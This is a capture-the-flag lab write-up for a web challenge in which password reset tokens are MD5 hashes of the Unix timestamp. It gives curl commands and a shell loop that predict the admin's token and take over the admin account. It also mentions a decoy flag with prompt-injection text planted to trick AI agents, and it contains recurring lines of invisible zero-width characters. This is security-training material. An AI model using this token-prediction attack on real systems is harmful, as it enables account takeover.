Lab 118 — FlowDesk — Predictable Password Reset Token

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_account_takeover, local_mailbox_inspection, md5_hash_reversal, timestamp_based_token_prediction

Summary

Walkthrough of the CUSTOM Web Lab 118 — FlowDesk — Predictable Password Reset Token. Task: FlowDesk project management SaaS with password reset feature generating tokens as MD5(unix_timestamp). Solution: triggered reset for own account, discovered token = MD5(timestamp) via local mail

Description

FlowDesk is a team project management SaaS platform used by organizations to manage projects, tasks, and team collaboration. The application includes user authentication, project dashboards, team management, and an admin panel for system configuration.

Your goal is to gain administrative access and retrieve the secret system key from the admin settings panel. You have access to register a regular user account.

Credentials: user@test.com / password123

Hint: The password reset feature generates tokens that might follow a predictable pattern. Try resetting your own account's password and examine the token carefully. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A project management web application with a password reset feature. The goal is to gain admin access and retrieve a secret system key from /admin/settings. We are given regular user credentials and a hint that reset tokens may be predictable.

Analysis

Reconnaissance

The application is an Express.js app behind nginx/1.25.5 with the following key endpoints:

Session management uses connect.sid Express session cookies.

Anti-Bot Trap (Decoy Flag)

The 404 page and other pages contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs, along with prompt injection text designed to trick AI agents into submitting it. This was correctly identified and ignored.

Token Pattern Discovery

After triggering a password reset for user@test.com and checking the local mailbox at /mailbox:

• Email timestamp: 2026-05-01T07:52:26.003Z → Unix timestamp 1777621946
• Reset token: 565a6330583873a22f7893cb94a97552
• Verification: MD5("1777621946") = 565a6330583873a22f7893cb94a97552 ✓ ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The token generation is simply:

 javascript read-only • copy allowed Copy
// Vulnerable token generation
const token = md5(Math.floor(Date.now() / 1000).toString());

This is catastrophically weak (CWE-330: Use of Insufficiently Random Values) because:

1. An attacker can observe the approximate time a reset was requested
2. There are only 1-3 candidate timestamps to try per request
3. MD5 is fast to compute, making brute-force trivial
4. This enables complete account takeover of any user

Admin Email Discovery

Browsing /projects while authenticated as user@test.com revealed team members, including the admin email: admin@flowdesk.io. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Login and trigger own password reset

 bash read-only • copy allowed Copy
# Login as the provided user
curl -c cookies.txt -X POST https://TARGET/login \
  -d "email=user@test.com&password=password123"

# Trigger password reset for our own account
curl -b cookies.txt -X POST https://TARGET/forgot-password \
  -d "email=user@test.com"

Step 2: Analyze the token from the local mailbox

 bash read-only • copy allowed Copy
# Check the local mailbox for the reset email
curl -b cookies.txt https://TARGET/mailbox

The reset email contained token 565a6330583873a22f7893cb94a97552. The email timestamp converted to Unix seconds (1777621946) and hashed with MD5 produced an exact match — confirming the algorithm. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Find the admin email

 bash read-only • copy allowed Copy
# Browse projects to find team members
curl -b cookies.txt https://TARGET/projects
# Found: admin@flowdesk.io

Step 4: Predict the admin's reset token

 bash read-only • copy allowed Copy
# Record timestamp before request
BEFORE=$(date +%s)

# Trigger password reset for admin
curl -b cookies.txt -X POST https://TARGET/forgot-password \
  -d "email=admin@flowdesk.io"

# Record timestamp after request
AFTER=$(date +%s)

# Generate candidate tokens for each second in the window
for ts in $(seq $BEFORE $AFTER); do
  TOKEN=$(echo -n "$ts" | md5sum | cut -d' ' -f1)
  echo "$ts -> $TOKEN"
done

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The winning token was MD5(1777622131) = 28b0f834ae88defd8c494e87360726ea.

Step 5: Reset admin password and retrieve the flag

 bash read-only • copy allowed Copy
# Reset admin password using predicted token
curl -X POST https://TARGET/reset-password \
  -d "token=28b0f834ae88defd8c494e87360726ea&password=hacked123&confirmPassword=hacked123"

# Login as admin
curl -c admin_cookies.txt -X POST https://TARGET/login \
  -d "email=admin@flowdesk.io&password=hacked123"

# Access admin settings to get the flag
curl -b admin_cookies.txt https://TARGET/admin/settings

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering admin_account_takeover, local_mailbox_inspection, md5_hash_reversal, timestamp_based_token_prediction was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-01 • CUSTOM • Lab 118 — FlowDesk — Predictable Password Reset Token • Difficulty: Medium